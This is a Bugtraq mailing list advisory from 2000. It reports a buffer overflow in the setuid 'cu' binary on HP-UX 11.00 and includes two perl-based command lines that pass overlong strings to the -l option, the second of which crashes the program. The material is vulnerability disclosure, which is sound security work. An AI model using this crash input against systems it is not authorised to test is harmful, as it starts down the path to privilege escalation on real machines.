Bugtraq mailing list archives

HPUX cu -l option buffer overflow vulnerabilit


From: zorgon <zorgon () LINUXSTART COM>
Date: Thu, 2 Nov 2000 08:43:27 -0500

=======================================================
    HPUX cu -l option buffer overflow vulnerability
=======================================================

Date: 02/11/2000
Tested on HP-UX B.11.00

$ ls -la `which cu`
-r-sr-xr-x   1 bin          40960  9 avr  1998 /bin/cu

Using '-l' with a long option string:
$ cu -l `perl -e 'printf "A" x 9777'`
La connexion a  chou     : Requested device/system name not known

$ cu -l `perl -e 'printf "A" x 9778'`
Memory fault



==================================
zorgon <zorgon () linuxstart com>
http://www.nightbird.free.fr
----------------------
Do you do Linux? :)
Get your FREE @linuxstart.com email address at: http://www.linuxstart.com


Current thread: